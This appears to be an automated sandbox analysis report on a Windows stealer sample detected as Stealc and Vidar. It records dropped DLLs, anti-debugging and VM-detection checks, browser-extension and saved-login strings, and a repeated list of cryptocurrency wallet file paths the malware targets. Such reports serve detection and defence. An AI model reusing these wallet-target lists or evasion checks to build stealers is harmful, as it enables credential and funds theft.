Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe TID: 7472

Thread sleep time: -30015s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CDEEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CDEEBF0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1681121252.0000000000BAB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: JJJKFBAA.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: JJJKFBAA.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: JJJKFBAA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: JJJKFBAA.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: JJJKFBAA.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: JJJKFBAA.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001074000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JJJKFBAA.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: JJJKFBAA.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: JJJKFBAA.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: JJJKFBAA.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: JJJKFBAA.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: JJJKFBAA.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: JJJKFBAA.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: JJJKFBAA.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: JJJKFBAA.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: JJJKFBAA.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.000000000102E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JJJKFBAA.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000003.1323536742.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: E2/FvMCIGFG62TGOU
Source: JJJKFBAA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: JJJKFBAA.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1681121252.0000000000BAB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JJJKFBAA.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: JJJKFBAA.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: JJJKFBAA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: JJJKFBAA.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: NTICE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: SICE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CEBAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CEBAC62

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CEBAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CEBAC62

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CF04760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CF04760

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1681121252.0000000000BAB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: TProgram Manager
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Binary or memory string: TProgram Manager

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CEBAE71 cpuid

0_2_6CEBAE71

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CEBA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CEBA8DC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CE08390 NSS_GetVersion,

0_2_6CE08390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1680754967.0000000000781000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1682005007.000000000102E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1323536742.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\ElectronCash\wallets\\.1Uh
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.00000000008E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.json
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\info.seco
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\info.seco
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.jsonG
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
